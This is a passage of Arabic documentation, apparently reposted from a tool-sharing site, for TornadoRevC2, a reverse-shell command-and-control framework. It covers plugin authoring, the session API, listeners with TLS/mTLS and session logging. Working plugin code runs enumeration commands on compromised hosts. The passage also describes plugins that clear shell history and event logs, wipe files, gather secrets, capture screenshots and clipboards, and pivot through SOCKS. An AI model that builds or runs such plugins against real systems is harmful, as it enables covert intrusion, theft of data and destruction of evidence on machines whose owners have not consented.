      │◄──────────────────────────────────────┤
      ├─ parse_collector_json(raw)            │
      ├─ formatter(data) → report string      │
      ├─ session.print(report)                │
      └─ session.log_plugin_result(...)       │
    

    مثال بسيط متعدد المنصات:```python from tornadorevc2.plugins import plugin, SessionContext from tornadorevc2.plugins.linux._helpers import build_linux_collector_command from tornadorevc2.plugins.shared.common import format_generic_report from tornadorevc2.plugins.shared.runner import run_collector_plugin from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START

    def _linux_collector_source(): # Runs inside a try/except wrapper on the target. # Call _emit(result) with a JSON-serializable dict — do NOT print markers yourself. return r''' import subprocess result = {'summary': {}, 'processes': []} try: out = subprocess.check_output(['ps', 'auxww'], stderr=subprocess.STDOUT, timeout=10) lines = out.decode('utf-8', errors='replace').splitlines() result['summary'] = {'count': max(0, len(lines) - 1)} result['processes'] = lines[1:51] except Exception as exc: result['summary'] = {'error': str(exc)} _emit(result) '''

    def _build_linux_command(): return build_linux_collector_command(_linux_collector_source())

    def _build_windows_command(): return rf""" $ErrorActionPreference='SilentlyContinue' $start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}' $procs = Get-CimInstance Win32_Process -EA 0 | Select-Object -First 50 ProcessId, Name, CommandLine $result = [ordered]@{{ summary = @{{ count = @($procs).Count }} processes = @($procs) }} Write-Output ($start + (ConvertTo-Json $result -Depth 4 -Compress) + $end) """

    @plugin.command( name="processes", platforms=["linux", "windows", "unix"], description="List running processes on the remote host", ) def run(session: SessionContext, args): return run_collector_plugin( session, "processes", _build_linux_command, # callable — built at execution time _build_windows_command, # callable — built at execution time format_generic_report, # turns parsed dict into operator-facing text timeout=25.0, # seconds to wait for marked output )

    root@kitploit:~
    **معاملات `run_collector_plugin`:**
    
    | المعامل | النوع | الوصف |
    |-----------|------|-------------|
    | `session` | `SessionContext` | الجلسة الهدف |
    | `plugin_name` | `str` | الاسم المستخدم في السجلات ورسائل الخطأ |
    | `unix_builder` | `Callable[[], str]` أو `None` | يُرجع أمر shell الخاص بـ Unix/Linux؛ `None` إذا كان غير متاح |
    | `win_builder` | `Callable[[], str]` أو `None` | يُرجع سكربت PowerShell؛ `None` إذا كان غير متاح |
    | `formatter` | `Callable[[dict], str]` | يحوّل قاموس JSON المُحلَّل إلى سلسلة تقرير |
    | `timeout` | `float` | الحد الأقصى للثواني لانتظار المخرجات المعلَّمة (الافتراضي 30) |
    
    مرّر `None` لأي builder خاص بمنصة لتحديد أن الإضافة غير متاحة على نظام التشغيل ذلك (انظر [الإضافات الخاصة بمنصة معينة](#platform-specific-plugins)).
    
    بعد حفظ إضافة خارجية:```bash
    plugins load processes
    plugins info processes
    run processes 1
    

    النمط 3: معالج مخصص

    استخدمه عندما تحتاج إلى التحقق من الوسائط، أو إنشاء مجمّع ديناميكي، أو معالجة بعد التجميع، أو التعامل مع الملفات من جانب المشغّل وهو ما لا يغطيه run_collector_plugin بمفرده.

    أمثلة في قاعدة الكود:

    الإضافةالسلوك المخصص
    memorymapيتطلب وسيط PID؛ يبني المجمّع ديناميكيًا مع PID مضمّن
    wiperيتطلب مسارًا بعيدًا؛ إجراء تدميري مع مخرجات تأكيد
    screenshotيفكّ ترميز صورة base64 ويحفظ PNG محليًا على جهاز المشغّل
    historydelيشغّل المجمّع، ثم يرسل أمر shell متابع لتنظيف السجل من الذاكرة
    clipboardمعالجة مخصصة للفشل اللين عبر حقل reason بدلاً من error الصارم

    مثال التحقق من الوسائط (من memorymap):```python import re from tornadorevc2.plugins import plugin, SessionContext from tornadorevc2.plugins.shared.runner import _run_collector_marked, parse_collector_json

    @plugin.command( name="memorymap", platforms=["linux", "windows", "unix"], description="Enumerate memory maps for a process (requires PID)", ) def run(session: SessionContext, args): if not args or not re.match(r"^\d+$", args[0].strip()): session.print("Usage: run memorymap ", "yellow") return 1

    root@kitploit:~
    pid = args[0].strip()
    session.log_event(f"Plugin memorymap: started for PID {pid}")
    session._handler._flush_shell(session._client_sock, timeout=1.0)
    
    unix_cmd = _build_linux_command(pid)   # builder accepts runtime args
    win_ps = _build_windows_command(pid)
    
    raw = _run_collector_marked(session, unix_cmd, win_ps, session.platform, 45.0)
    if raw is None:
        session.print("Plugin 'memorymap' failed — no response from target.", "red")
        return 1
    
    data = parse_collector_json(raw)
    report = format_memorymap_report(data)
    session.print(report, "cyan")
    session.log_plugin_result("memorymap", report, ...)
    return 0
    
    root@kitploit:~
    **مثال على المعالجة بعد المجمّع** (من `historydel`):```python
    def run(session: SessionContext, args):
        # ... run collector via _run_collector_marked ...
        data = parse_collector_json(raw)
    
        # Additional in-memory cleanup in the interactive shell
        if session.is_unix:
            session.run_shell("history -c 2>/dev/null; history -w 2>/dev/null; true", timeout=5.0)
        elif session.is_windows:
            session.run_marked("", "Clear-History -ErrorAction SilentlyContinue", timeout=5.0)
    
        report = format_historydel_report(data)
        session.print(report, "green" if data.get("cleared") else "yellow")
        return 0
    

    للوصول المباشر إلى التنفيذ المعلَّم دون غلاف المجمِّع الكامل، استخدم _run_collector_marked و parse_collector_json من plugins/shared/runner.py.

    مجمِّعات Linux

    مجمِّعات Linux هي سلاسل نصية من مصدر Python تُنفَّذ على الهدف عبر build_linux_collector_command().

    البنية:

    1. عرِّف _linux_collector_source() لإرجاع سلسلة نصية خام (r'''...''').
    2. اكتب منطق المجمِّع الذي يبني قاموس result.
    3. استدعِ _emit(result) في النهاية — لا تطبع العلامات يدويًا أبدًا.
    4. غلِّف باستخدام _build_linux_command() → build_linux_collector_command(source).

    يقوم الغلاف في linux/_helpers.py تلقائيًا بما يلي:

    • يزيل إزاحة مصدرك داخل كتلة try/except
    • يعرِّف _emit(obj) لكتابة __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__
    • يُصدر {"error": "...", "traceback": "..."} عند الاستثناءات غير المعالَجة
    • يرمِّز السكربت للتنفيذ المضمَّن عبر python3 -c (أو python2 كبديل احتياطي)
    • يلجأ إلى التخزين المؤقت المجزَّأ في /tmp فقط عندما تتجاوز الحمولة المرمَّزة ~4000 بايت

    فضِّل الأوامر الأصلية:```python def sh(cmd, timeout=5): try: out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=timeout) return out.decode("utf-8", "ignore") except Exception: return ""

    result = {"summary": {}, "ports": []} output = sh("ss -tulpn 2>/dev/null || netstat -tulpn 2>/dev/null", 10) for line in output.splitlines()[:60]: result["ports"].append(line.strip()) _emit(result)

    root@kitploit:~
    **الإرشادات:**
    
    - استخدم `subprocess.check_output(..., timeout=N)` لكل أمر خارجي.
    - قلّم القوائم الكبيرة قبل الإخراج (بحد أقصى 50–80 عنصرًا).
    - تعامل مع الأدوات المفقودة بلطف—اترك الأقسام فارغة بدلًا من رفع استثناء.
    - تجنّب تضمين سلاسل العلامات في الإخراج؛ يقوم الملحق `history` بتنظيف `__T_PLUGIN_*__` من النص المُجمَّع لهذا السبب.
    - أبقِ أدوات التجميع مدمجة لتبقى ضمن حد الحجم المضمّن وتجنّب التخزين المؤقت في `/tmp`.
    
    ### أدوات التجميع الخاصة بـ Windows
    
    أدوات التجميع الخاصة بـ Windows هي سلاسل نصوص PowerShell برمجية تُعاد من `_build_windows_command()`.
    
    **البنية:**```python
    from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START
    
    def _build_windows_command():
        return rf"""
    $ErrorActionPreference='SilentlyContinue'
    $start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}'
    $result = [ordered]@{{
      summary = @{{ count = 0 }}
      items = @()
    }}
    try {{
      Get-CimInstance Win32_Service -EA 0 | Select-Object -First 50 | ForEach-Object {{
        $result.items += @{{ name = $_.Name; state = $_.State }}
      }}
      $result.summary.count = $result.items.Count
    }} catch {{
      $result.summary.error = $_.Exception.Message
    }}
    Write-Output ($start + (ConvertTo-Json $result -Depth 5 -Compress) + $end)
    """
    

    الإرشادات:

    • اضبط دائمًا $ErrorActionPreference='SilentlyContinue' في الأعلى.
    • استخدم -EA 0 (ErrorAction SilentlyContinue) على الـ cmdlets التي قد تفشل على الأنظمة الأقدم.
    • مضاعفة الأقواس مطلوبة داخل Python f-strings و raw f-strings: {{ و }} لـ PowerShell hashtables و script blocks.
    • استخدم [ordered]@{{...}} للحفاظ على ترتيب المفاتيح في مخرجات JSON.
    • فضّل الـ cmdlets المدمجة (Get-NetTCPConnection، Get-Process، netsh، wevtutil) على الأدوات الخارجية.
    • غلّف كل قسم منطقي في try/catch خاص به حتى لا يؤدي فشل واحد إلى إحباط المجمّع بأكمله.
    • في جلسات PowerShell التفاعلية، تُسلَّم السكربتات داخل العملية عبر win_client.py لالتقاط المخرجات بشكل موثوق.

    بديل: بالنسبة لإضافات Windows-only ذات نقاط الدخول البسيطة، استخدم دالة build_command() واحدة:```python

    tornadorevc2/plugins/windows/services.py

    @plugin.command(name="services", platforms=["windows"], description="...") def run(session: SessionContext, args): return run_collector_plugin(session, "services", None, build_command, format_generic_report, timeout=35.0)

    root@kitploit:~
    ### اصطلاحات حِزمة JSON
    
    يجب أن تُرجع أدوات التجميع قاموسًا قابلًا للتسلسل بصيغة JSON. يتوقع المشغّل والمُنسّقات استخدامًا متسقًا للمفاتيح:
    
    | المفتاح | النوع | الغرض |
    |-----|------|---------|
    | `summary` | `dict` | إحصاءات وعدّادات عالية المستوى؛ تُعرض أولًا بواسطة `format_generic_report()` |
    | `error` | `str` | **فشل صارم** — يطبع المشغّل الخطأ ويُرجع رمز الخروج 1 |
    | `traceback` | `str` | اختياري؛ يُسجَّل كتفصيل عند تعيين `error` |
    | `reason` | `str` | **فشل مرن** — يُستخدم مع المُنسّقات المخصصة (مثل عدم توفر الحافظة) |
    | `ok` | `bool` | علامة نجاح للإضافات التشغيلية (لقطة الشاشة، الحافظة) |
    | قوائم من `dict` | `list` | تُعرض كجداول بواسطة `format_generic_report()` |
    | قوائم من `str` | `list` | تُعرض كقوائم نقطية |
    | `dict` متداخل | `dict` | يُعرض كأقسام مُعنونة |
    
    **التدهور المرن:** بالنسبة لتعداد متعدد الأقسام، استخدم مفاتيح dict منفصلة لكل قسم والتقط الاستثناءات محليًا. لا تعيّن `error` على المستوى الأعلى إلا إذا فشلت أداة التجميع بالكامل — فالنتائج الجزئية مفضلة.```python
    result = {"summary": {}, "ufw": {}, "iptables": {}}
    # Each backend probed independently; failures leave that section empty
    

    منسّقات مخصّصة

    مرّر منسّقًا مخصّصًا إلى run_collector_plugin بدلاً من format_generic_report:```python from tornadorevc2.plugins.shared.common import format_section, format_list_section

    def format_firewall_report(data: dict) -> str: sections = [] summary = data.get("summary") or {} if summary: sections.append(format_section("Summary", summary)) for key in ("ufw", "iptables", "windows_defender_firewall"): block = data.get(key) if isinstance(block, dict) and block: sections.append(format_section(key.replace("_", " ").title(), block)) if not sections: return "Firewall: no data collected." return "\n\n".join(sections)

    root@kitploit:~
    مساعدات قابلة لإعادة الاستخدام في `plugins/shared/common.py`:
    
    | الدالة | الغرض |
    |----------|---------|
    | `format_generic_report(data, title='Results')` | العارض الافتراضي للجداول/الأقسام |
    | `format_section(title, fields, width=22)` | قسم مفتاح-قيمة |
    | `format_list_section(title, items, empty='(none)')` | قائمة نقطية |
    | `format_table_section(title, rows, columns)` | صفوف القاموس كأعمدة |
    | `format_firewall_report`, `format_memorymap_report`, etc. | منسّقات خاصة بالإضافات |
    
    ### الإضافات الخاصة بالمنصات
    
    **خاصة بـ Windows فقط:**```python
    @plugin.command(name="rdp", platforms=["windows"], description="...")
    def run(session: SessionContext, args):
        return run_collector_plugin(
            session, "rdp",
            None,                    # no Linux builder
            build_command,
            format_generic_report,
            timeout=35.0,
        )
    

    لينكس فقط:```python @plugin.command(name="cron", platforms=["linux", "unix"], description="...") def run(session: SessionContext, args): return run_collector_plugin( session, "cron", build_linux_command, None, # no Windows builder format_generic_report, timeout=30.0, )

    root@kitploit:~
    **متعدد المنصات مع بناة منفصلة:**
    
    بعض الإضافات المشتركة تفوض إلى وحدات بانية خاصة بكل منصة (على سبيل المثال `virtualization` تستورد من `linux/virtualization.py` و `windows/virtualization.py`). تبقى نقطة الدخول `@plugin.command` في `shared/`؛ وحدات الباني تحت `linux/` أو `windows/` لا تحتوي على أي مزخرف ولا تُسجَّل كإضافات مستقلة.
    
    ### الإضافات الخارجية
    
    تتيح لك الإضافات الخارجية توسيع TornadoRevC2 دون تعديل المستودع.
    
    **الإعداد:**```bash
    # Default location (created automatically if missing)
    ./plugins/myplugin.py
    
    # Or set a custom directory
    export TORNADOREVC2_PLUGIN_DIR=/path/to/my/plugins
    

    سير العمل:```bash

    From the handler console

    plugins load myplugin # import and register commands plugins info myplugin # verify name, platforms, description, module path run myplugin 1 # execute against session 1 run myplugin 1 --verbose # extra args passed to handler as args=["--verbose"] plugins reload myplugin # re-import after editing (clears stale registrations) plugins unload myplugin # fully unload external plugin

    root@kitploit:~
    **دورة الحياة الخارجية مقابل المدمجة:**
    
    | الإجراء | إضافة مدمجة | إضافة خارجية |
    |--------|-----------------|-----------------|
    | `plugins unload` | معطّلة بشكل مؤقت (تبقى الوحدة مستوردة) | تُفرَّغ بالكامل وتُلغى تسجيلها |
    | `plugins reload` | تعيد استيراد الوحدة، وتمسح تسجيلات الأوامر القديمة | تزيلها من `sys.modules`، وتعيد استيرادها من القرص |
    | بدء التشغيل | تُحمَّل تلقائيًا | تُحمَّل عند الطلب |
    
    تُستورد الوحدات الخارجية باسم `tornado_ext_plugin_<name>` لتجنب تعارضات مساحة الأسماء.
    
    ### واجهة SessionContext API
    
    يتلقى كل معالج كائن `SessionContext` يغلّف المعالج ومقبس العميل:
    
    **خصائص البيانات الوصفية:**
    
    | الخاصية | النوع | الوصف |
    |----------|------|-------------|
    | `session_id` | `str` | معرّف الجلسة المعيَّن |
    | `platform` | `str` | `unix` أو `windows` أو `unknown` |
    | `is_windows` / `is_unix` | `bool` | رايات تسهيلية للمنصة |
    | `sysinfo` | `dict` | معلومات المضيف المخزّنة مؤقتًا من مجموعة `sysinfo` |
    | `identity` | `dict` | بيانات وصفية لهوية/بصمة الجلسة |
    | `addr` | `tuple` | العنوان البعيد |
    | `tls` | `bool` | ما إذا كانت الجلسة تستخدم TLS |
    | `name` | `str` | الاسم الودّي المعيَّن من المشغّل |
    | `fingerprint` | `str` | بصمة المضيف الثابتة |
    | `logger` | `SessionLogger` | كاتب سجل لكل جلسة (قد يكون `None`) |
    | `colors` | `dict` | رموز ألوان الطرفية |
    | `socket` | socket | مقبس العميل الخام (للاستخدام المتقدم) |
    
    **طرق التنفيذ:**
    
    | الطريقة | الوصف |
    |--------|-------------|
    | `run_shell(cmd, timeout=15.0)` | إرسال أمر، انتظار المخرجات، إرجاع سلسلة نصية |
    | `run_shell_streaming(cmd, timeout, idle_timeout, on_chunk)` | بثّ المخرجات مع كشف الخمول؛ مفيد للأوامر طويلة التشغيل |
    | `run_marked(unix_cmd, win_ps_script, timeout, start_mark, end_mark, strip_ws)` | تنفيذ أمر مناسب للمنصة واستخراج الحمولة المعلَّمة |
    | `get_cwd()` | إرجاع دليل العمل البعيد |
    | `collect_sysinfo(mode='stealth')` | تشغيل جمع معلومات المضيف |
    
    **طرق النقل:**
    
    | الطريقة | الوصف |
    |--------|-------------|
    | `upload(local_path, remote_path, resume=False)` | رفع ملف إلى الهدف |
    | `download(remote_path, local_path, resume=False)` | تنزيل ملف من الهدف |
    | `verify_remote(remote_path)` | التحقق من حجم الملف البعيد و SHA-256 |
    
    **التسجيل والمخرجات:**
    
    | الطريقة | الوصف |
    |--------|-------------|
    | `print(text, color=None)` | الطباعة إلى طرفية المشغّل مع لون اختياري (`red`، `green`، `yellow`، `cyan`) |
    | `log_event(message)` | إضافة حدث بطابع زمني إلى `session.log` |
    | `log_command(cmd, output)` | تسجيل الأمر والمخرجات في `session.log` |
    | `log_plugin_result(name, report, detail='')` | كتابة التقرير إلى `logs/<session>/plugins/<name>_<timestamp>.log` |
    
    ### معالجة الأخطاء ورموز الإرجاع
    
    | الإرجاع | المعنى | سلوك المعالج |
    |--------|---------|------------------|
    | `0` | نجاح | لا يُعرض أي تحذير |
    | `1` (أو أي قيمة غير صفرية) | فشل | تحذير أصفر: `Plugin 'name' returned code N` |
    | استثناء غير ملتقط | خطأ | رسالة خطأ حمراء؛ تُسجَّل في سجل الجلسة |
    
    **أنماط فشل المجمِّع** (تتعامل معها `run_collector_plugin`):
    
    | الحالة | السلوك |
    |-----------|----------|
    | انتهاء المهلة / لا علامات في المخرجات | الخروج بالرمز 1، تسجيل "no response" |
    | المخرجات ليست JSON صالحة | الخروج بالرمز 1، تسجيل المخرجات الخام (مقتطعة) كتفصيل |
    | وجود `data["error"]` | الخروج بالرمز 1، طباعة الخطأ وتتبّع الاستدعاء |
    | فشل جزئي في الأقسام | يجب **ألا** يضبط `error` على المستوى الأعلى؛ اترك القسم فارغًا |
    
    **الإخفاقات اللينة** (الإضافات التشغيلية): استخدم `reason` أو `ok: false` وتعامل معها في مُنسِّق مخصص أو معالج مخصص بدلًا من الاعتماد على فحص `error` الصارم في المشغّل.
    
    ### أفضل الممارسات
    
    1. **فضّل أوامر نظام التشغيل الأصلية** على الأدوات المرفوعة—يتماشى ذلك مع تصميم الإطار الخفيف الاعتماديات.
    2. **لا تكتب ملفات على الهدف** لأغراض الاستكشاف؛ أعد البيانات عبر قناة الصدفة. الإضافات التشغيلية (wiper، historydel) استثناءات لها غرض واضح.
    3. **تدهور بلطف** — افحص كل خلفية بشكل مستقل؛ الأقسام الفارغة أفضل من الفشل الكامل.
    4. **حدّد حجم المخرجات** — اقتطع القوائم إلى 50–80 عنصرًا؛ اقتطع السلاسل الطويلة إلى 200–500 حرف.
    5. **اضبط مهلًا زمنية واقعية** — الفحوصات السريعة: 15–30 ثانية؛ الاستكشاف الشامل: 45–75 ثانية.
    6. **سجّل باستمرار** — استدعِ `session.log_event()` عند البدء، و`session.log_plugin_result()` عند الإكمال، و`session.log_command()` لتصدير النص الكامل.
    7. **تحقق من الوسائط مبكرًا** — أعد 1 مع رسالة الاستخدام قبل إرسال أي شيء إلى الهدف.
    8. **اختبر من كلا الطرفيتين** — المعالج الرئيسي (`run plugin <ID>`) والجلسة المرتبطة (`switch` ثم `run plugin`).
    9. **استخدم `plugins reload`** أثناء التطوير لالتقاط التغييرات دون إعادة تشغيل المعالج.
    10. **نظّف العلامات الحساسة** من المخرجات المجمّعة إذا كانت إضافتك تقرأ محتوى ملفات عشوائيًا.
    
    ### تطبيقات مرجعية
    
    | الإضافة | الملف | النمط | ملاحظات |
    |--------|------|---------|-------|
    | `firewall` | `plugins/shared/firewall.py` | مجمِّع متعدد المنصات | تدهور لطيف متعدد الخلفيات |
    | `ports` | `plugins/shared/ports.py` | مجمِّع متعدد المنصات | `ss` / `Get-NetTCPConnection` الأصلي |
    | `history` | `plugins/shared/history.py` | مجمِّع متعدد المنصات | بواني Linux Python + Windows PowerShell |
    | `memorymap` | `plugins/shared/memorymap.py` | معالج مخصص | وسيط PID، باني ديناميكي |
    | `screenshot` | `plugins/shared/screenshot.py` | معالج مخصص | Base64 في JSON؛ حفظ PNG من جهة المشغّل |
    | `clipboard` | `plugins/shared/clipboard.py` | معالج مخصص | إخفاق لين عبر حقل `reason` |
    | `historydel` | `plugins/shared/historydel.py` | معالج مخصص | تدميري؛ تنظيف الصدفة بعد المجمِّع |
    | `wiper` | `plugins/shared/wiper.py` | معالج مخصص | تدميري؛ التحقق من وسيط المسار |
    | `services` | `plugins/windows/services.py` | مجمِّع خاص بـ Windows | نقطة دخول بسيطة |
    | `eventlogdel` | `plugins/windows/eventlogdel.py` | مجمِّع خاص بـ Windows | تدميري؛ تقرير فشل لكل سجل |
    | `rdp` | `plugins/windows/rdp.py` | مجمِّع خاص بـ Windows | استكشاف السجل وجدار الحماية |
    | `virtualization` | `plugins/shared/virtualization.py` | نقطة دخول مشتركة + بواني منفصلة | تستورد بواني `linux/` و `windows/` |
    | `secrets` | `plugins/linux/secrets.py` | مجمِّع خاص بـ Linux | قائمة مقيّدة بالمنصة |
    
    لإضافات الاستكشاف الجديدة، ابدأ من `run_collector_plugin` في `plugins/shared/runner.py` وانسخ التخطيط من `firewall.py` أو `ports.py`. للإضافات التي لها وسائط أو آثار جانبية، راجع `memorymap.py` أو `wiper.py`.
    
    ---
    
    ## تسجيل الجلسات
    
    تكتب كل جلسة إلى دليل معزول تحت `logs/`:```text
    logs/001_user@hostname_192.168.1.10_unix_10-08-2026_143022/
      session.log           Operator commands and console output
      sysinfo.json          Host information snapshot
      transfers/            Upload and download event logs
      executions/           In-memory payload execution metadata
      plugins/              Plugin reports and collector output
          quickenum_20260812_054812.log
          firewall_20260812_055130.log
          screenshot_20260812_055412.png
    

    تحتوي سجلات الإضافة على تقرير قابل للقراءة البشرية، وعند الاقتضاء، حمولة JSON الخام التي أرجعها المجمّع البعيد.


    بنية المشروع```text

    TornadoRevC2/ ├── tornadorevc2.py Entry point ├── tornadorevc2/ │ ├── handler.py Listeners, sessions, operator console │ ├── updater.py Git-based self-update and restart │ ├── sysinfo.py Host information collection │ ├── terminal.py PTY/TTY management │ ├── transfer.py Chunked file transfers │ ├── tunnel.py SOCKS5 pivoting │ ├── remote_exec.py Remote command builders │ ├── win_client.py Windows shell detection and script delivery │ ├── session_registry.py Session persistence and reconnect logic │ ├── session_log.py Per-session directory logging │ ├── export.py HTML transcript export │ ├── payloads.py Built-in payload catalog │ └── plugins/ │ ├── api.py SessionContext and plugin registration │ ├── manager.py Plugin lifecycle and execution │ ├── loader.py Module discovery │ ├── shared/ Cross-platform plugins │ ├── linux/ Linux/Unix-only plugins │ └── windows/ Windows-only plugins ├── plugins/ Optional external plugin directory └── logs/ Session output (created at runtime)

    root@kitploit:~
    ---
    
    ## تكوين TLS و mTLS
    
    يشغّل TornadoRevC2 ثلاثة مستمعين معزولين، لكل منهم مصدر الشهادة الخاص به. يتم إنشاء كل ما تحت `tls_certs/` و `mtls_certs/` تلقائيًا عند التشغيل الأول ولا يُستبدل أبدًا.
    
    | المستمع | المنفذ | مصادقة العميل | الشهادات |
    |----------|------|-------------|--------------|
    | TCP | `4444` | لا شيء | — |
    | TLS | `8443` | الخادم فقط | `tls_certs/server.pem`، `tls_certs/server.key` |
    | mTLS | `9443` | متبادلة (شهادة العميل مطلوبة) | حزمة `mtls_certs/` |
    
    ### TLS
    
    يُنشأ تلقائيًا كزوج موقّع ذاتيًا (`CN=localhost`، RSA-2048، 3650 يومًا).
    
    لتزويد شهادتك الخاصة:```bash
    python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 \
      -c tls_certs/server.pem -k tls_certs/server.key
    

    إذا اتصل العميل باستخدام عنوان IP، فيجب أن يتضمن شهادة الخادم ذلك الـ IP في Subject Alternative Name (SAN) الخاص بها. تجنّب تعطيل التحقق من اسم المضيف إلا إذا كان هناك سبب محدد للقيام بذلك.

    mTLS

    عند التشغيل الأول، يتم تهيئة PKI كاملة تحت mtls_certs/:

    • ca.pem / ca.key — CA موقّعة ذاتيًا (RSA-4096، CN=TornadoRevC2-mTLS-CA)
    • server-mtls.pem / server-mtls.key — شهادة الخادم موقّعة من الـ CA
    • client.pem / client.key — شهادة العميل موقّعة من الـ CA
    • ca.srl — عدّاد التسلسل الخاص بـ OpenSSL المُنشأ أثناء توقيع الشهادة

    شغّل client.pem + client.key + ca.pem مع العميل المصرّح له. يجب على العميل تقديم شهادته عند الاتصال وإلا يتم رفض المصافحة.

    ابدأ بمسارات صريحة:```bash python tornadorevc2.py -H 0.0.0.0 -mp 9443
    --mtls-ca-cert mtls_certs/ca.pem --mtls-ca-key mtls_certs/ca.key
    --mtls-server-cert mtls_certs/server-mtls.pem --mtls-server-key mtls_certs/server-mtls.key
    --mtls-client-cert mtls_certs/client.pem --mtls-client-key mtls_certs/client.key

    root@kitploit:~
    ### ترقية جلسة نشطة إلى mTLS
    
    يمكن نقل الجلسات القائمة على TCP العادي أو TLS بمصادقة الخادم إلى مستمع mTLS دون إعادة تشغيل المعالج. تقوم إضافة `upgrade_mtls` برفع `client.pem` و`client.key` و`ca.pem` إلى الهدف، وتشغّل صدفة خلفية تقدّم شهادة العميل، و(بشكل افتراضي) تحذف الحزمة من القرص بمجرد أن تصبح الجلسة الجديدة قائمة.```bash
    # From the main handler prompt
    run upgrade_mtls 1 --port 9443 --host 10.10.14.7
    run upgrade_mtls 1 --keep-bundle       # leave certs on disk after launch
    run upgrade_mtls 1 --no-upload         # certificate bundle already uploaded manually
    
    # From inside an attached session (switch 1)
    run upgrade_mtls
    

    الأعلام

    العلمالافتراضي
    -H / --host0.0.0.0
    -p / --port4444
    -tp / --tls-port8443
    -mp / --mtls-port9443
    -c / --cert, -k / --keytls_certs/server.{pem,key}
    --mtls-ca-cert / --mtls-ca-keymtls_certs/ca.{pem,key}
    --mtls-server-cert / --mtls-server-keymtls_certs/server-mtls.{pem,key}
    --mtls-client-cert / --mtls-client-keymtls_certs/client.{pem,key}

    الترخيص

    هذا المشروع مرخّص بموجب رخصة جنو العمومية العامة الإصدار 3.0.

    تنزيل الأداة